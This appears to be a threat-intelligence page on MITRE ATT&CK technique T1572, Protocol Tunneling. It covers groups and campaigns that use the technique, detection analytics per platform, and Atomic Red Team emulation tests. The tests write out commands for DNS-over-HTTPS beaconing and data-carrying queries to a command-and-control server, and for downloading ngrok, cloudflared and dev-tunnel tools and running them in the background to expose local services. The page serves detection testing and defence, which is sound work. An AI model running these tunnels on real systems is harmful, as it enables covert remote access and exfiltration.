Has used tunneling tools to facilitate destructive attacks on compromised devices.1
Protocol Tunneling T1572
- Tactic
- Command and Control
- Platforms
- ESXi, Linux, macOS, Windows
- Version
- 1.1
- Created
- 15 March 2020
- Last modified
- 12 May 2026
Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.
Protocol Tunneling MITRE reference T1572
15 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has modified device configurations to create and use Generic Routing Encapsulation (GRE) tunnels.1
Has used the Iox and NPS proxy and tunneling tools in combination create multiple connections through a single tunnel.1
Has utilized web shells and Java tools for tunneling capabilities to and from compromised assets.1
Has installed protocol-tunneling tools on VMware vCenter and adversary-controlled VMs, including Teleport.sh, Chisel (configured to communicate with trycloudflare[.]com subdomains), MobaXterm, ngrok, Pinggy, and Teleport.12
Has used ProxyChains to tunnel protocols to internal networks.1
All 15 groups for this technique · 6 newest in this preview
6 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During SharePoint ToolShell Exploitation, threat actors utilized ngrok tunnels to deliver PowerShell payloads.1
During Cutting Edge, threat actors used Iodine to tunnel IPv4 traffic over DNS.1
During the 2022 Ukraine Electric Power Attack, Sandworm Team deployed the GOGETTER tunneler software to establish a “Yamux” TLS-based C2 channel with an external server(s).1
During C0027, Scattered Spider used SSH tunneling in targeted environments.1
During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.1
During the C0032 campaign, TEMP.Veles used encrypted SSH-based PLINK tunnels to transfer tools and enable RDP connections throughout the environment.1
All 6 campaigns for this technique
21 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Can hide its IP lookup by using DNS over HTTPS (DoH) for C2.1
Has utilized a SOCKS proxy to tunnel access within the victim network and exfiltrate files from internal shares, code repositories, and other endpoints.1234567 BRICKSTORM has also leveraged Yamux for combining multiple concurrent logical streams over a single a socket.256
Can tunnel data in and out of targeted networks.1
Can tunnel TCP sessions including RDP, SSH, and SMB through HTTP.123
Can tunnel SSH and Unix Domain Socket communications over TCP between external nodes and exposed resources behind firewalls or NAT.1
All 21 software entries for this technique · 6 newest in this preview
Offense vs defense T1572
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Protocol Tunneling detection strategy DET0538
MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection Strategy for Protocol Tunneling accross OS platforms.
AN1483 · Windows
Processes such as plink.exe, ssh.exe, or netsh.exe establishing outbound network connections where traffic patterns show encapsulated protocols (e.g., RDP over SSH). Defender observations include anomalous process-to-network relationships, large asymmetric data flows, and port usage mismatches.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AllowedTools | Whitelist legitimate tunneling tools (e.g., used by admins). |
| DataAsymmetryThreshold | Ratio of sent vs received bytes that indicates tunneling activity. |
| TimeWindow | Correlate process creation with network connection within N seconds. |
AN1484 · Linux
sshd, socat, or custom binaries initiating port forwarding or encapsulating traffic (e.g., RDP, SMB) through SSH or HTTP. Defender sees abnormal connect/bind syscalls, encrypted traffic on ports typically used for non-encrypted services, and outlier traffic volume patterns.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | linux:osquery | socat, ssh, or nc processes opening unexpected ports |
| Application Log ContentDC0038 | linux:syslog | sshd sessions with unusual port forwarding parameters |
| Network Connection CreationDC0082 | auditd:SYSCALL | socket/connect calls showing SSH processes forwarding arbitrary ports |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ForwardingFlags | Specific sshd config flags indicating port forwarding. |
| ProtocolBaseline | Define expected application protocols by port to catch tunneling mismatches. |
AN1485 · macOS
launchd or user-invoked processes (ssh, socat) encapsulating traffic via SSH tunnels, VPN-style tooling, or DNS-over-HTTPS clients. Defender sees outbound TLS traffic with embedded DNS or RDP payloads.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | process execution of ssh with -L/-R forwarding flags |
| Network Traffic ContentDC0085 | macos:unifiedlog | encrypted outbound traffic carrying unexpected application data |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ExpectedDoHResolvers | Known legitimate DoH resolvers used in environment. |
| PayloadEntropyThreshold | Flag excessive randomness in payloads on standard ports. |
AN1486 · ESXi
VMware daemons or user processes encapsulating traffic (e.g., guest VMs tunneling via hostd). Defender sees network services inside ESXi creating flows inconsistent with management plane traffic, such as SSH forwarding or DNS-over-HTTPS from management interfaces.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Traffic FlowDC0078 | esxi:vpxd | ESXi processes relaying traffic via SSH or unexpected ports |
| Network Traffic ContentDC0085 | esxcli:network | listening sockets bound with non-standard encapsulated protocols |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ESXiServiceProfiles | Baseline allowed services and expected ports for ESXi management. |
Consider filtering network traffic to untrusted or known bad domains and resources.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | DNS over HTTPS Large Query Volume | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||||||||||
This test simulates an infected host sending a large volume of DoH queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format. Input arguments
Attack command for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
GUID42c54faa-39ed-492b-9451-3a78821a9750 | ||||||||||||||||||||||||||||||||||||||||
| 02 | DNS over HTTPS Regular Beaconing | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||||||||||
This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format. Input arguments
Attack command Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
GUIDe552d50f-e18c-4a16-99ce-83b122658bb0 | ||||||||||||||||||||||||||||||||||||||||
| 03 | DNS over HTTPS Long Domain Query | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||||||||||
This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format. Input arguments
Attack command Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
GUIDd8ae90a4-b71c-4d6e-810e-e8fde40f4c6b | ||||||||||||||||||||||||||||||||||||||||
| 04 | run ngrok | windows | PowerShell | Required | 1 | Yes | ||||||||||||||||||||||||||||||||||
Download and run ngrok. Create tunnel to chosen port. Input arguments
Attack command C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
Start-Sleep -s 5
Stop-Job -Name Job1 | Out-Null
Cleanup command Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore Prerequisite Download ngrok Check if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1}
Satisfy New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip
Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok
GUID0abb7b8b-61bd-466e-8fe0-39225410c878 | ||||||||||||||||||||||||||||||||||||||||
| 05 | Microsoft Dev tunnels (Linux/macOS) | linux, macos | bash | — | 2 | Yes | ||||||||||||||||||||||||||||||||||
Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc. Reference: - Microsoft Docs - LOT Tunnels Input arguments
Attack command #{binary_path} host -p #{port} &
Cleanup command pkill -9 $(basename "#{binary_path}")
#{binary_path} user logout
rm #{binary_path}
Prerequisite Download devtunnel Check test -f #{binary_path}
Satisfy mkdir -p $(dirname #{binary_path})
curl -L "#{download_url}" -o "#{binary_path}"
chmod +x #{binary_path}
Prerequisite Login to Microsoft Dev tunnels Check #{binary_path} user show | grep -q "Not logged in" && exit 1 || exit 0
Satisfy echo "Login to devtunnel using the following command: #{binary_path} user login"
GUID316005e0-2e36-4360-85f7-0e6246e174b6 | ||||||||||||||||||||||||||||||||||||||||
| 06 | VSCode tunnels (Linux/macOS) | linux, macos | sh | — | 2 | Yes | ||||||||||||||||||||||||||||||||||
Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference: - Microsoft Docs - LOT Tunnels Input arguments
Attack command nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &
Cleanup command pkill -9 tunnel code tunnel unregister code tunnel user logout Prerequisite Install code-cli Check which code Satisfy ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "x64")
if [ "$(uname)" = "Darwin" ]
then brew install code-cli
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{payload_path})
PKG_TYPE=$(command -v apt >/dev/null && echo "deb" || echo "rpm")
curl -L "#{artifact_base_url}?build=#{artifact_build}&os=linux-${PKG_TYPE}-${ARCH_SUFFIX}" -o "#{payload_path}/code.${PKG_TYPE}"
(which apt && apt install -y "#{payload_path}/code.${PKG_TYPE}") || (which yum && yum install -y "#{payload_path}/code.${PKG_TYPE}")
rm "#{payload_path}/code.${PKG_TYPE}"
fi
Prerequisite Login to VSCode Dev tunnels Check code tunnel user show | grep -q "not logged in" && exit 1 || exit 0 Satisfy echo "Login to code tunnel using the following command: code tunnel user login" GUID7fcc08ac-42ba-44ab-a088-c917ed05c245 | ||||||||||||||||||||||||||||||||||||||||
| 07 | Cloudflare tunnels (Linux/macOS) | linux, macos | sh | — | 1 | Yes | ||||||||||||||||||||||||||||||||||
Cloudflared can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference: - Cloudflared Docs - LOT Tunnels Input arguments
Attack command nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &
Cleanup command pkill -9 $(basename "#{binary_path}")
rm -f "#{binary_path}"
Prerequisite Download cloudflared Check test -f "#{binary_path}" && exit 0 || exit 1
Satisfy ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "amd64")
if [ "$(uname)" = "Darwin" ]
then curl -L "#{cloudflared_artifact_base_url}/cloudflared-darwin-${ARCH_SUFFIX}.tgz" -o "$(dirname #{binary_path})/cloudflared-darwin-${ARCH_SUFFIX}.tgz"
cd "$(dirname #{binary_path})"
tar -xzf "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
rm -f "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
chmod +x "#{binary_path}"
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{binary_path})
curl -L "#{cloudflared_artifact_base_url}/cloudflared-linux-${ARCH_SUFFIX}" -o "#{binary_path}"
chmod +x "#{binary_path}"
fi
GUIDe0c08b64-4bdb-4093-a5ed-c2e5abcd631c | ||||||||||||||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition